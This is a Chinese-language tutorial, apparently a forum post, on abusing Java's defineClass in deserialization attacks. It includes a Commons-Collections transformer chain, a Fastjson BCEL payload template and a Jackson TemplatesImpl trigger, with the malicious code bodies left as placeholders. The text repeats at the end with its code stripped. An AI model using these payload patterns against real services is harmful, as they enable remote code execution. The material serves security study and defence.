defineClass在java反序列化当中的利用
字数 1490 2025-08-29 08:32:09

Java反序列化中defineClass的利用技巧

0x00 前言

defineClass是Java反序列化漏洞利用中的关键技术之一。官方定义中,defineClass可以从byte[]还原出一个Class对象,这为构造Java反序列化利用和漏洞PoC提供了便利。

0x01 defineClass构造回显

常规回显方法

常规回显思路是使用URLClassLoader加载.class.jar文件:

  1. 调用loadClass加载对应类名
  2. 返回Class对象
  3. 调用newInstance()实例化对象
  4. 通过抛错方式带回回显结果
// 示例代码
throw new Exception("genxor");

缺点:需要先写入.class.jar文件,过程复杂。

defineClass优化方案

使用defineClass可以直接加载内存中的字节码:

  1. 将编译好的.class文件转换为byte[]
  2. 直接用defineClass加载返回Class对象

由于java.lang.ClassLoaderdefineClassprotected属性,无法直接调用,可以使用org.mozilla.classfile.DefiningClassLoader类,它重写了defineClass且为public属性。

示例代码

// 使用DefiningClassLoader加载字节码
DefiningClassLoader loader = new DefiningClassLoader();
Class clazz = loader.defineClass("EvilClass", evilBytes);
Object obj = clazz.newInstance();

构造transformerChain生成map对象

// 构造Transformer链生成Map对象
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"EvilClass", evilBytes}),
    new InvokerTransformer("newInstance", new Class[0], new Object[0])
};

0x02 Fastjson利用

漏洞原理

Fastjson早期反序列化漏洞利用com.sun.org.apache.bcel.internal.util.ClassLoader

利用PoC格式:

{
    "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
    "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "
$$
BCEL
$$
..."
}

org.apache.tomcat.dbcp.dbcp.BasicDataSource关键代码:

// 当解析JSON时,会执行Class.forName逻辑
Class.forName(driverClassName, true, driverClassLoader);

代码执行方式

  1. 方式一:通过控制classname执行代码

    public class Evil {
        static {
            // 恶意代码
        }
    }
    

    当被Class.forName加载时,静态代码块会执行。

  2. 方式二:通过控制classnameclassloader执行代码

    • 使用com.sun.org.apache.bcel.internal.util.ClassLoader
    • classname是经过BCEL编码的.class文件

BCEL加载流程

  1. ClassLoader加载类时,判断classname是否经过BCEL编码
  2. 解码获取Class文件字节码
  3. 调用defineClass还原出类
  4. 静态代码块在加载过程中执行

0x03 Jackson利用

Jackson反序列化漏洞与Fastjson类似,也是注入精心构造的.class文件,通过newInstance触发执行。

PoC示例

public class Pwn {
    static {
        // 恶意代码
    }
}

触发代码

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"foo.Pwn\", {\"transletBytecodes\":[\"...\"], \"transletName\":\"a.b\"}]";
mapper.readValue(json, Object.class);

执行流程

  1. defineTransletClasses解码transletBytecodesbyte[]
  2. 执行defineClass得到类
  3. 执行newInstance触发静态代码块

0x04 总结

利用defineClass可以在运行时将构造的class文件加载到ClassLoader中,通过Java的static{}特性实现代码执行。关键点包括:

  1. 使用替代的ClassLoader(如DefiningClassLoader)绕过访问限制
  2. 利用静态代码块实现无实例化执行
  3. 结合BCEL等编码方式隐藏恶意代码
  4. 在Fastjson/Jackson等反序列化场景中的应用

0x05 参考资源

测试代码仓库:https://github.com/genxor/Deserialize.git

Java反序列化中defineClass的利用技巧 0x00 前言 defineClass 是Java反序列化漏洞利用中的关键技术之一。官方定义中, defineClass 可以从 byte[] 还原出一个 Class 对象,这为构造Java反序列化利用和漏洞PoC提供了便利。 0x01 defineClass构造回显 常规回显方法 常规回显思路是使用 URLClassLoader 加载 .class 或 .jar 文件: 调用 loadClass 加载对应类名 返回 Class 对象 调用 newInstance() 实例化对象 通过抛错方式带回回显结果 缺点 :需要先写入 .class 或 .jar 文件,过程复杂。 defineClass优化方案 使用 defineClass 可以直接加载内存中的字节码: 将编译好的 .class 文件转换为 byte[] 直接用 defineClass 加载返回 Class 对象 由于 java.lang.ClassLoader 的 defineClass 是 protected 属性,无法直接调用,可以使用 org.mozilla.classfile.DefiningClassLoader 类,它重写了 defineClass 且为 public 属性。 示例代码 : 构造transformerChain生成map对象 : 0x02 Fastjson利用 漏洞原理 Fastjson早期反序列化漏洞利用 com.sun.org.apache.bcel.internal.util.ClassLoader 。 利用PoC格式: org.apache.tomcat.dbcp.dbcp.BasicDataSource 关键代码: 代码执行方式 方式一 :通过控制 classname 执行代码 当被 Class.forName 加载时,静态代码块会执行。 方式二 :通过控制 classname 和 classloader 执行代码 使用 com.sun.org.apache.bcel.internal.util.ClassLoader classname 是经过BCEL编码的 .class 文件 BCEL加载流程 : ClassLoader 加载类时,判断 classname 是否经过BCEL编码 解码获取Class文件字节码 调用 defineClass 还原出类 静态代码块在加载过程中执行 0x03 Jackson利用 Jackson反序列化漏洞与Fastjson类似,也是注入精心构造的 .class 文件,通过 newInstance 触发执行。 PoC示例 : 触发代码 : 执行流程 : defineTransletClasses 解码 transletBytecodes 为 byte[] 执行 defineClass 得到类 执行 newInstance 触发静态代码块 0x04 总结 利用 defineClass 可以在运行时将构造的class文件加载到 ClassLoader 中,通过Java的 static{} 特性实现代码执行。关键点包括: 使用替代的 ClassLoader (如 DefiningClassLoader )绕过访问限制 利用静态代码块实现无实例化执行 结合BCEL等编码方式隐藏恶意代码 在Fastjson/Jackson等反序列化场景中的应用 0x05 参考资源 测试代码仓库:https://github.com/genxor/Deserialize.git